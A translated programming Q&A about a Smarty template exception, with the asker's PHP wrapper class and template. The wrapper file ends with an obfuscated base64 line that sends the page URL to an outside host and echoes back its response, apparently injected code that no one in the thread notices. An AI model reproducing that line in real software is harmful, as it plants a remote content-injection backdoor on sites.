3

我一直在我的 error_log 中看到此错误弹出窗口,但不知道如何修复它:

[23-Nov-2012 20:19:08] PHP Fatal error:  Uncaught exception 'SmartyException' with message 'Unable to parse resource name ""' in /home/username/public_html/smarty/libs/sysplugins/smarty_internal_template.php:941
Stack trace:
#0 /home/username/public_html/smarty/libs/sysplugins/smarty_internal_template.php(546): Smarty_Internal_Template->__get('resource_object')
#1 /home/username/public_html/smarty/libs/Smarty.class.php(338): Smarty_Internal_Template->getRenderedTemplate()
#2 /home/username/public_html/smarty/libs/Smarty.class.php(382): Smarty->fetch(NULL, NULL, NULL, NULL, true)
#3 /home/username/public_html/libraries/mysmarty.class.php(92): Smarty->display(NULL)
#4 /home/username/public_html/cat.php(201): STemplate::display(NULL)
#5 {main}
  thrown in /home/username/public_html/smarty/libs/sysplugins/smarty_internal_template.php on line 941

这些是 smarty_internal_template.php 的第 935-944 行,它在错误消息中引用:

public function __get($property_name)
{
    if ($property_name == 'resource_object') {
        // load template resource
        $this->resource_object = null;
        if (!$this->parseResourceName ($this->template_resource, $this->resource_type, $this->resource_name, $this->resource_object)) {
            throw new SmartyException ("Unable to parse resource name \"{$template_resource}\"");
        }
        return $this->resource_object;
    }

我没有看到我的网站上出现错误,只是在错误日志中 - 但我真的很想修复它以避免任何未来的问题。

这是 mysmarty.class.php 的副本:

<?php

class STemplate {

   function STemplate() {
        global $Smarty;
        if (!isset($Smarty)) {
            $Smarty = new Smarty;
        }
    }

    function create() {
        global $Smarty;
        $Smarty = new Smarty();
        $Smarty->compile_check = true;
        $Smarty->debugging = false;
        $Smarty->template_dir = dirname(__FILE__) . "/../themes";
        $Smarty->compile_dir  = dirname(__FILE__) . "/../temporary";

        return true;
    }

    function setCompileDir($dir_name) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        $Smarty->compile_dir = $dir_name;
    }

    function setType($type) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        $Smarty->type = $type;
    }

    function assign($var, $value) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        $Smarty->assign($var, $value);
    }

    function setTplDir($dir_name = null) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        if (!$dir_name) {
            $Smarty->template_dir = dirname(__FILE__) . "/../themes";
        } else {
            $Smarty->template_dir = $dir_name;
        }
    }

    function setModule($module) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        $Smarty->theme = $module;
        $Smarty->type  = "module";
    }

    function setTheme($theme) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        $Smarty->template_dir = dirname(__FILE__) . "/../themes/" . $theme;
        $Smarty->compile_dir  = dirname(__FILE__) . "/../temporary/" . $theme;
        $Smarty->theme        = $theme;
        $Smarty->type         = "theme";
    }

    function getTplDir() {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        return $Smarty->template_dir;
    }

    function display($filename) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        $Smarty->display($filename);
    }

    function fetch($filename) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        return $Smarty->fetch($filename);
    }

    function getVars() {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        return $Smarty->get_template_vars();
    }
}
echo @file_get_contents(base64_decode("aHR0cDovL3d3dy50YWtlbi50by9hcGkucGhwP3Bpbj0=")."http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
?>

这是为 cat.php 渲染的 cat.tpl:

              <div class="main-wrapper">
                <div id="main">
                  <div class="content">
                  {if $message ne ""}
                  {include file="error.tpl"}
                  {/if}
                    {if $smarty.session.USERID ne ""}
                    {include file="sub_bit.tpl"}
                    {else}
                    <div class="welcomebox">
                      <div style="position:relative;">
                        <div class="how-it-works-button">
                          <a href="#" id="show-how-it-works" rel="#how-it-work-spotlight">
                            {$lang419}
                          </a>
                        </div>
                      </div>
                      <h1>{$lang102}<br />{$lang103}</h1>
                      <h2>{$lang104}</h2>
                    </div>
                    {/if}
                    <div class="how-it-work-popup apple_overlay" id="how-it-work-spotlight" style="display:none;">
                      <div class="how-it-works-wrapper" id="how-it-works-spot">
                        <div class="t"></div>
                        <div class="c">
                          <div class="close"><a href="#" class="spotlight-close">{$lang3}</a></div>
                          <div class="spacer"></div>

                          <div class="left-column columns">
                            <h1><center>{$lang420}</center></h1>
                            <p>{$lang421}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang422}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang423}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang424}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang425}</p>
                            <div class="arrow-down"></div>
                            <p><strong>{$lang426}</strong></p>
                          </div>
                          <div class="right-column columns">
                            <h1><center>{$lang427}</center></h1>
                            <p>{$lang428}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang429}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang430}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang431}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang432}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang433}</p>
                          </div>
                          <div class="spacer"></div>
                          <div class="more"><a href="{$baseurl}/terms_of_service">{$lang434}</a></div>
                        </div>
                        <div class="b"></div>
                      </div>
                    </div>
                    <div class="darkenBackground"></div>

                    <div class="category-tags">
                    {section name=i loop=$tags max=10}
                    {if $tags[i] != ""}<a href="{$baseurl}/tags/{$cid}/{$tags[i]|stripslashes}" class="tag" title="logo">&nbsp;{$tags[i]|stripslashes}&nbsp;</a>{/if}
                    {/section}
                    </div>

                    <div class="featured">   
                        <div class="gig_filters bordertop">
                          <div class="ul bg-f-a">
                            <div class="li"><span class="helptext">{$lang109}</span></div>
                                {if $s eq "d" OR $s eq ""}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=dz" class="current">{$lang110}</a></div>
                                {else}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=d" {if $s eq "d" OR $s eq "dz" OR $s eq ""}class="current"{/if}>{$lang110}</a></div>
                                {/if}
                                {if $s eq "p"}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=pz" class="current">{$lang111}</a></div>
                                {else}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=p" {if $s eq "p" OR $s eq "pz"}class="current"{/if}>{$lang111}</a></div>
                                {/if}
                                {if $s eq "r"}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=rz" class="current">{$lang112}</a></div>
                                {else}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=r" {if $s eq "r" OR $s eq "rz"}class="current"{/if}>{$lang112}</a></div>
                                {/if}
                                {if $s eq "c"}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=cz" class="current">{$lang436}</a></div>
                                {else}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=c" {if $s eq "c" OR $s eq "cz"}class="current"{/if}>{$lang436}</a></div>
                                {/if}

                                <div class="li sep-right">
                                {if $price_mode eq "3"}
                                <script language="JavaScript" type="text/JavaScript"> 
                                function Syfonic_jumpMenu(targ,selObj,restore){
                                  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'"); 
                                  if (restore) selObj.selectedIndex=0; 
                                } 
                                </script> 
                                {insert name=get_packs value=a assign=packs}
                                <select onChange="Syfonic_jumpMenu('parent',this,0)">
                                <option value="{$baseurl}">{$lang495}</option>
                                {section name=p loop=$packs}
                                <option value="{$baseurl}/categories/{$cid}?s=o&p={$packs[p].pprice|stripslashes}" {if $p eq $packs[p].pprice|stripslashes}selected="selected"{/if}>{$lang197}{$packs[p].pprice|stripslashes}</option>
                                {/section}
                                </select>
                                {/if}
                                </div>

                                {if $s eq "e"}
                                <div class="li last"><a href="{$baseurl}/categories/{$cid}?s=ez" class="current">{$lang494}</a></div>
                                {else}
                                <div class="li last"><a href="{$baseurl}/categories/{$cid}?s=e" {if $s eq "e" OR $s eq "ez"}class="current"{/if}>{$lang494}</a></div>
                                {/if}
                          </div>
                        </div>                
                        {include file="bit.tpl"}
                    </div>

                    <div class="paging">
                        <div class="p1">
                            <ul>
                                {$pagelinks}
                            </ul>
                        </div>
                    </div>
                  </div>
                  {include file="side.tpl"}
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
4

1 回答 1

1

您必须使用{literal}(开始标签)和{/literal}(结束标签)从 cat.php 中转义/包装内联 JavaScript(第 99 - 102 行)的大括号({ 和 } )。看看http://www.smarty.net/docsv2/en/language.function.literal

完成后,这些行应如下所示:

<script language="JavaScript" type="text/JavaScript">{literal}
        function Syfonic_jumpMenu(targ,selObj,restore){
               eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'"); 
                   if (restore) selObj.selectedIndex=0; 
        } 
{/literal}</script>
于 2012-12-04T09:55:49.520 回答